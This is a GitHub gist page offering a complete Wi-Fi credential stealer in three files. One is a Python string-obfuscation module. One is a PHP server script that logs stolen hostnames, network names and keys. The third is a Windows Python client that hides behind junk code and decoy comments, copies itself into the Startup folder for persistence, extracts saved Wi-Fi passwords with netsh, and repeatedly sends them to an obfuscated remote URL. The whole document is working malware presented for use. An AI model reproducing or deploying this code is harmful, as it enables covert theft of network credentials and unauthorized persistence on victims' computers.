Last active
April 9, 2018 06:54
-
-
Save lc-at/f63e2a23c2ee3bd9b1983f706c499c40 to your computer and use it in GitHub Desktop.
wcred: steal saved wifi credential and send it to attacker's server
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
main_char_lower = {"a": "b","c": "d","e": "f","g": "h","i": "j","k": "l","m": "n","o": "p","q": "r","s": "t","u": "v","w": "x","y": "z"} | |
for key,value in main_char_lower.items(): main_char_lower[value] = key | |
main_char_upper = dict() | |
for key,value in main_char_lower.items(): main_char_upper[key.upper()] = value.upper() | |
main_char_d_lower = dict() | |
for key,value in main_char_lower.items(): main_char_d_lower[value] = key | |
main_char_d_upper = dict() | |
for key,value in main_char_upper.items(): main_char_d_upper[value] = key | |
main_char_num = {"0": "1", "2": "3", "4": "5", "6": "7", "8": "9"} | |
for key,value in main_char_num.items(): main_char_num[value] = key | |
main_char_num_d = {} | |
for key,value in main_char_num.items(): main_char_num_d[value] = key | |
def encode(string, delx="g"): | |
el = list("aiueo") | |
for let in el: | |
string = string.replace(let, let+delx+let) | |
for let in el: | |
let = let.upper() | |
string = string.replace(let, let+delx+let) | |
string = list(string) | |
cursor = 0 | |
for l in string: | |
if l in main_char_lower: | |
string[cursor] = main_char_lower[l] | |
cursor += 1 | |
cursor = 0 | |
for l in string: | |
if l in main_char_upper: | |
string[cursor] = main_char_upper[l] | |
cursor += 1 | |
cursor = 0 | |
for l in string: | |
if l in main_char_num: | |
string[cursor] = main_char_num[l] | |
cursor += 1 | |
string = ''.join(string) | |
return string | |
def decode(string, delz="g"): | |
string = list(string) | |
cursor = 0 | |
for l in string: | |
if l in main_char_d_lower: | |
string[cursor] = main_char_d_lower[l] | |
cursor += 1 | |
cursor = 0 | |
for l in string: | |
if l in main_char_d_upper: | |
string[cursor] = main_char_d_upper[l] | |
cursor += 1 | |
cursor = 0 | |
for l in string: | |
if l in main_char_num_d: | |
string[cursor] = main_char_num_d[l] | |
cursor += 1 | |
string = ''.join(string) | |
el = list("aiueo") | |
for let in el: | |
string = string.replace(let+delz+let, let) | |
for let in el: | |
let = let.upper() | |
string = string.replace(let+delz+let, let) | |
return string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header("Content-Type: text/plain"); | |
$file = "wcredlog.txt"; | |
if (isset($_GET['hostname']) && isset($_GET['ssid']) && isset($_GET['key'])) { | |
$hostname = $_GET['hostname']; | |
$ssid = $_GET['ssid']; | |
$key = $_GET['key']; | |
$date = date("d-m-Y h:i:sa"); | |
$ip = $_SERVER['REMOTE_ADDR']; | |
$content = "{$date}\t{$ip}\t{$hostname}\t'{$ssid}' -> '{$key}'\n"; | |
$current = @file_get_contents($file); | |
if(file_exists($file)) { | |
$content = $content . file_get_contents($file); | |
} | |
if(strpos($current, "'{$ssid}' -> '{$key}'") === false) { | |
file_put_contents($file, $content); | |
} | |
} | |
if(file_exists($file)) { | |
$file = file_get_contents($file); | |
$last_time = explode("\n", $file); | |
$last_time = explode("\t", $last_time[0]); | |
$last_time = $last_time[0]; | |
//$last_time = date("d-m-Y h:i:sa", filemtime($file)); | |
echo "Last updated: {$last_time}\n"; | |
echo $file; | |
} else { | |
echo "No records found!"; | |
} | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#--hiddenimport re --hiddenimport os --hiddenimport subprocess --hiddenimport requests --hiddenimport sys --hiddenimport time --hiddenimport socket --hiddenimport shutil | |
import re, os, subprocess, requests, sys, time | |
from socket import gethostname | |
from shutil import copyfile | |
import gaga_enc | |
debug = False | |
def lexika(draw, bill, gates, drug, hard, junk=0): | |
return draw+bill+gates+drug+hard*junk | |
def loater(x, y, z, eat, longz): | |
x = x+1 | |
y = x+1 | |
z = y+1 | |
longz = x+y+z | |
if x > 100: | |
# what is this | |
lexika(y,x,z,eat,longz) | |
else: | |
lexika(longz,eat,x,y,z) | |
return longz | |
loater(1, 33, 44, 55, lexika(2,3,4,5,6,7)) | |
def log(message): | |
if debug == True: | |
logf = open("log.txt", 'a') | |
logf.write(str(message)+"\n") | |
# this is the mainstream part | |
def interacto(strang=20, strung=8, streng=1, strong=4): | |
strang = strang+strung*2 | |
streng += strang+streng | |
strong = strong/streng*strang | |
intro = strang+strung/streng**strong | |
return intro | |
if getattr(sys, 'frozen', False): | |
# i don;t know tl;dr | |
cfile = gaga_enc.encode(os.path.realpath(sys.executable)) | |
else: | |
# lorem ipsum dolor sit amet | |
cfile = gaga_enc.encode(os.path.realpath(__file__)) | |
loater(1, 33, 44, 55, "x") | |
try: | |
# bill gates is the smartest person in the world | |
interacto(39, 34, 43, 34) | |
copyfile(gaga_enc.decode(cfile), gaga_enc.decode(gaga_enc.encode(os.environ.get("APPDATA"))) + "\\Microsoft" + gaga_enc.decode(gaga_enc.encode("\\Windows\\Start Menu")) + "\\Programs\\Startup\\" + os.path.basename(gaga_enc.decode(cfile))) | |
# what is this | |
except Exception as e: | |
log(str(e)) | |
loater(12, 37, 45, 35, "y") | |
# hola hola | |
pass | |
def get_data(): | |
saved_pass = {} | |
saved_wifi = [] | |
# what do you mean | |
profiles = subprocess.Popen("netsh wlan show profile", shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read().split("\n") | |
interacto() | |
# subject means what | |
for profile in profiles: | |
wifi_name = profile.split(':') | |
try: | |
# this is nothing | |
saved_wifi.append(wifi_name[1].strip()) | |
loater(1, 313, 344, 553, "xdsd") | |
except: | |
loater(13, 3, 44e3, 55, "x") | |
# hell no | |
pass | |
for wifi in saved_wifi: | |
# hahahahahahahaha | |
try: | |
loater(21, 313, 441, 553, "x") | |
profile = subprocess.Popen("netsh wlan show profile name={} key=clear".format(wifi), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read() | |
password = re.findall("Key Content(.*)\n", profile)[0].strip().split(':')[1].strip() | |
# lets eat meatball | |
loater(9, 31, 22, 552, "mak") | |
saved_pass[wifi] = password | |
except: | |
pass | |
loater(7, 2003, 2, 15, "wdx") | |
# get hard? | |
return saved_pass | |
def main(): | |
url = gaga_enc.decode("gsso://ua911.dphpn/tfhfqufhfq.ogo") | |
while True: | |
try: | |
# i dont know | |
loater(7, 28, 12, 2002, "f") | |
data = get_data() | |
interacto(4,5,6) | |
except Exception as e: | |
# but i love you so much | |
# gagaenc is the best | |
log("get_data: "+str(e)) | |
time.sleep(100) | |
pass | |
else: | |
# every line commenting | |
exc = False | |
for ssid, key in data.items(): | |
# i hate you so much | |
try: | |
# but i love you | |
# dont think | |
loater(1, 3223, 424, 5533, "xyz") | |
# i love you so much | |
log("{},{}".format(ssid,key)) | |
r = requests.get("{}?hostname={}&ssid={}&key={}".format(url, gethostname(), ssid, key), timeout=10) | |
interacto(93) | |
# you are my baby | |
log(r.text) | |
except Exception as e: | |
log(str(e)) | |
exc = True | |
interacto(22, 400, 33) | |
loater(1, 33, 44, 55, "x") | |
break | |
else: | |
exc = False | |
if exc == False: | |
loater(1, 233, 33, 55, "xd") | |
log("sleep: 1800") | |
# i try | |
time.sleep(1000+800) | |
else: | |
log("sleep: 20") | |
# hmmmmmmmmmmmmmmmmmm | |
time.sleep(20) | |
# who cares about sleep? | |
continue | |
if __name__ == "__main__": | |
try: | |
main() | |
except Exception as e: | |
log(str(e)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment